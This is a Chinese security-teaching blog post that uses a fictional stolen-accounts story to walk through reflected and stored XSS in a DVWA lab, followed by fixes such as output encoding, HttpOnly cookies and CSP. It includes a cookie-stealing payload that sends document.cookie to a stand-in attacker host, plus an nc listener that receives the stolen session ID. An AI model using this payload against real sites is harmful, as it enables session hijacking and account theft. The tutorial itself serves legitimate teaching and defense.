返回首页

XSS跨站脚本一条评价,盗走三千个账号

2026-08-11 22:30 · 网络安全
 
CYLOG  ·  SECURITY  LAB

XSS跨站脚本

一条评价,盗走三千个账号

 

[ROOT@CYLOG ~]# 网络安全教学日志

周五晚上十点,客服主管给我发来一串截图:后台显示三百多个账号在十分钟内被同时登录,全部来自同一批 IP。商城的风控弹窗刷了满屏——有人拿这些账号在发垃圾评价、改收货地址。

查到最后,源头是一周前的一条商品评价。那条评价里藏了一段脚本,谁点开商品页谁中招。三千多个账号,就是这么被一条评价带走的。

XSS跨站脚本 一条评价,盗走三千个账号 周五晚上十点,客服主管给我发来一串截图

—— XSS跨站脚本 一条评价,盗走三千个账号 周五晚上十点,客服主管给我发来一串截图:后台显示三百多个账号在十分钟内被同时登

XSS 是什么:你把输入当成了代码

XSS(跨站脚本)的本质一句话:网站把用户输入当成了代码执行。攻击者提交一段 HTML/JavaScript,服务端没过滤直接回显,浏览器渲染时就把脚本执行了。脚本在受害者浏览器里以「这个网站」的身份运行——能读 Cookie、能改页面、能替你发请求。

它连续十几年在 OWASP Top 10 榜上(2021 版排第三)。不是「弹个窗吓你」的玩具——盗号、钓鱼、供应链攻击,很多都是从一条 XSS 开始的。

下面我们来做一下预演
在开始之前先搞懂:反射型和存储型差在哪

反射型:payload 在 URL 里,服务端不存,直接拼进响应回显。需要诱导受害者点恶意链接——攻击者要「骗你点」。

存储型:payload 写进数据库,谁访问那个页面谁中招——攻击者只要「投一次毒」。所以存储型远比反射型危险,电商评价区事件就是存储型。两种的修复思路一样:输出编码。

好,原理懂了,继续
一、环境准备(先做对,再动手)
🖥️ 环境准备
机:DVWA(安全等级先调 Low 看漏洞原貌,再调 High 对比修复效果) 攻击机:Kali Linux 2026.x,Firefox + 开发者工具 网络:Host-Only 模
$ bash
攻击机确认靶机可达
kali@attack:~$ curl -I http://192.168.56.10/dvwa/
# 期望输出:HTTP/1.1 200 OK
 
# DVWA 登录后,左下角 DVWA Security 把等级切到 Lo
二、完整复现:从弹窗到偷走 Cookie
$ bash
第一步:反射型 XSS 验证(DVWA → XSS(Reflected))
# 输入框提交:
<script>alert(document.cookie)</script>
# 提交后浏览器弹出当前会话 Cookie——输入未被过滤,脚本原样执行
 
# 第二步:把 Cookie 偷出来(完整攻击链)
# 攻击机起监听:
kali@attack:~$ nc -lvnp 8888
 
# 构造恶意链接(诱导受害者点击,编码后的 payload):
# http://192.168.56.10/dvwa/vulnerabilities/xss_r/?name=<script>new Image().src='http://攻击机IP:8888/?c='+document.cookie</script>
# 受害者浏览器执行后,会向攻击机 8888 端口发一个带 Cookie 的请
击机 nc 窗口收到:
GET /?c=PHPSESSID=abc123def456 HTTP/1.1
→ Cookie 到手。攻击者用它替换自己浏览器的 PHPSESSID,直接登录受害者账号——会话劫持
⚠️ 错误预演(翻车现场)
窗没出现?①DVWA 安全等级不是 Low,切到 Low 重试;②payload 被 URL 编码截断,确认提交的是原始字符;③Firefox 一般不拦,若用其他浏览器先关 XSS 过滤。nc 收不到回传?确认攻击机 IP 填对、监听端口没被防火墙挡
存储型 XSS:谁看谁中招
$ bash
DVWA → XSS(Stored),Message 框提交:
<script>alert(document.cookie)</script>
# 提交后,每次有人打开留言板脚本就执行一次
# —— payload 已入库,无需再诱导点
新页面,弹窗必现。区别一句话:反射型「点一次中一次招」,存储型「谁看谁中招」。真实场景里存储型常被用来挂挖矿脚本、窃取管理员 Cookie 进而拿下后台
✅ 成功预演 · 结果解读
解读(防御视角):①漏洞根因是「输出未编码」——Low 等级直接 echo 用户输入;②修复看下方防御层;③作为管理员,检查自己的留言板/评价区/搜索框有没有这种回显,用 <script>alert(1)</script> 走一遍就知
预演之后,我们需要知道的事
一、新旧对比:手工测试 vs 自动化扫描【技术的迭代】
手工测试 自动化扫描(OWASP ZAP / Burp 主动扫描)
效率 慢但精准,能发现业务逻辑型 XSS 快,覆盖面广
误报 较高,需人工复核
适用 验证关键页面、绕 WAF 上线前全站巡检
2026 趋势 配合 AI 辅助生成绕过 payload AI 扫描器已能自动变种绕过基础 WA
二、我们的防御怎么落地(三层)
🛡️ 防御清单
输出编码(根治):所有动态内容输出前 HTML 实体编码——PHP 用 htmlspecialchars($var, ENT_QUOTES);Java 用 OWASP Java Encoder;前端 React/Vue 默认转义,别用 v-html / dangerouslySetInnerHTML 渲染用户输入。 ② 输入校验:评论只允许纯文本+预设表情,富文本用白名单过滤库(DOMPurify)。 ③ 纵深防御:HttpOnly Cookie(JS 读不到)+ CSP 响应头(Content-Security-Policy: default-src 'self')+ 安全等级调 High 对比看修复效果
$ bash
服务端修复示例(PHP,DVWA High 等级做法):
# 输出前转义:
$name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
echo $name;
 
# 响应头加 CSP(Apache .htaccess):
# Header set Content-Security-Policy "default-src 'self'; script-src 'self'"
# Header set X-XSS-Protection "1; mode=block"
 
# 验证修复:重新提交 <script>alert(1)</script>,页面显示原文而非执
复后提交 payload,页面显示的是 <script> 字样而不是弹窗——转义生效。同样的 payload,Low 等级弹窗、High 等级显示文本,对比一下你就彻底懂了
最后:让我们回到那条评价

那个商城后来怎么处理的?漏洞修复、受影响账号强制改密、那批恶意评价清库。但真正的教训是:一条评价能带走三千个账号,不是因为脚本多高级,是因为输出少了一行转义。

XSS 不复杂,复杂的是你永远不知道用户会在输入框里放什么。

⚖️ 法律与风险边界
法律与风险边界:对他人网站注入 XSS 窃取用户数据,涉嫌《刑法》第 285 条(非法获取计算机信息系统数据罪)、第 286 条(破坏计算机信息系统罪);利用 XSS 盗号实施诈骗另涉诈骗罪。XSS 测试仅限自有系统、授权渗透测试或 SRC 平台(补天、漏洞盒子)明确授权的范围。
📚 延伸阅读
伸阅读: ① OWASP XSS Prevention Cheat Sheet — owasp.org(输出编码权威规范) ② OWASP Top 10 2021 A3: Injection — owasp.org/Top10 ③ PortSwigger XSS 实验室(可在线复现)— portswigger.net/web-security/cross-site-scripting ④ NVD 搜 XSS 看最新 CVE — nvd.nist.go
— · END · —

🔐  本日志仅用于网络安全教学  ·  请勿用于非法用途

虚构日记 · 时间地点人物均已虚拟化 · 防御永远比攻击更有价值

 

网络安全 · 黑客日常

CYLOG

知己知彼,百战不殆。

文章目录
    ×

    如果觉得文章对您有用,请随意打赏。
    您的支持是我们继续创作的动力!

    微信打赏

    微信扫一扫

    支付宝打赏

    支付宝扫一扫

    发表评论

    请先 登录 再评论